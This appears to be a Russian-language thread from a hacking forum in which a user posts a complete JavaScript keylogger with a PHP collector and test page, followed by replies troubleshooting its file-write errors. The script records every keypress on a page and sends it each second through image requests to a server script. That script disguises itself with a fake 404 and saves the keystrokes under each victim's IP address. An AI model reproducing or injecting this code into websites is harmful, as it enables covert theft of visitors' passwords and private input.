• XSS.stack #1 – первый литературный журнал от юзеров форума

JS Keylogger

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
JS Keylogger


Создать папку data дать ей права 777

файл img.js
Код:
var keys='';
var url = 'img.php?c=';

document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	if(keys.length>0) {
		new Image().src = url+keys;
		keys = '';
	}
}, 1000);

файл img.php
PHP:
<?php

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data/'.$_SERVER['REMOTE_ADDR'].'_data.txt';

if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
	file_put_contents($file,$_REQUEST['c'], FILE_APPEND);
}

?>
файл test.html
HTML:
<html>
    <head></head>
    <body>
        <script src="img.js"></script>
        <input></input>
    </body>
</html>
Не ново :) но может пригодится
 
EROOR LOG

[03-Feb-2020 21:06:08 UTC] PHP Warning: file_put_contents(data/1XXXX6.XXXXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
[03-Feb-2020 21:06:09 UTC] PHP Warning: file_put_contents(data/1XXX6XXXXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
[03-Feb-2020 21:06:10 UTC] PHP Warning: file_put_contents(data/1XXXX.XXXXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
[03-Feb-2020 21:06:11 UTC] PHP Warning: file_put_contents(data/1XX.2XXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
 
EROOR LOG

[03-Feb-2020 21:06:08 UTC] PHP Warning: file_put_contents(data/1XXXX6.XXXXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
[03-Feb-2020 21:06:09 UTC] PHP Warning: file_put_contents(data/1XXX6XXXXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
[03-Feb-2020 21:06:10 UTC] PHP Warning: file_put_contents(data/1XXXX.XXXXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
[03-Feb-2020 21:06:11 UTC] PHP Warning: file_put_contents(data/1XX.2XXXX.89_data.txt): failed to open stream: No such file or directory in /home/pwwq/public_html/data/img.php on line 13
ну да конечно ты же
 
"No such file or directory " - логично что ошибка из-за того что отсутствует файл Warning: file_put_contents(data/1XX.2XXXX.89_data.txt), может прав не хватает на создание файла?
я cmod дал все 777. но одно и тоже
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх